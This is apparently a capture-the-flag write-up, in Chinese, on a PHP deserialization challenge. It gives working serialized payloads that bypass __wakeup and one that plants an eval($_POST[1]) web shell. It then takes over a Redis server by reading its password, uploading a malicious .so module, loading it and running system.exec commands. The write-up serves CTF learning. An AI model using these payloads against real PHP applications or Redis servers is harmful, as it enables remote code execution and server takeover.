考点
- 反序列化绕过wakeup魔术方法
- Redis加载恶意so文件获取shell
解题
<?php
class A{
public $code = "";
function __call($method,$args){
eval($this->code);
}
function __wakeup(){
$this->code = "";
}
}
class B{
function __destruct(){
echo $this->a->a();
}
}
if(isset($_REQUEST['poc'])){
preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);
if (isset($ret[1])) {
foreach ($ret[1] as $i) {
if(intval($i)!==1){
exit("you want to bypass wakeup ? no !");
}
}
unserialize($_REQUEST['poc']);
}
}else{
highlight_file(__FILE__);
}
前置:
__call(),在对象中调用一个不可访问方法时调用
代码审计,构造链子
<?php
class A{
public $code = "phpinfo();";
}
class B{
public $a;
}
$b = new B();
$b->a = new A();
echo urlencode(serialize($b));
// O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:10:"phpinfo();";}}
绕过wakeup方法
由于wakeup方法会把code置空,我们需要绕过该方法
正常来讲我们只需要修改:属性个数>真实属性个数
但是这里有正则需要保证属性的值为1
方法1:
增加真实属性的个数
O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:10:"phpinfo();";}s:1:"n":N;}
方法2:
类名是不区分大小写的,因此只要类名改成小写,绕wakeup修改改A和改B的属性数量都行
O:1:"b":3:{s:1:"a";O:1:"A":1:{s:4:"code";s:10:"phpinfo();";}}
查看disable function,命令执行函数都被过滤了
这里我们使用蚁剑连接
O:1:"B":1:{s:1:"a";O:1:"a":2:{s:4:"code";s:16:"eval($_POST[1]);";}}
Redis加载恶意so获取shell
html目录下有config文件,里面有redis密码
先在html目录下上传恶意so文件
上传完成后使用蚁剑redis插件连接
然后再加载
MODULE LOAD "/var/www/html/exp.so"
system.exec "whoami"
之后便可以执行命令
system.exec "cat /f"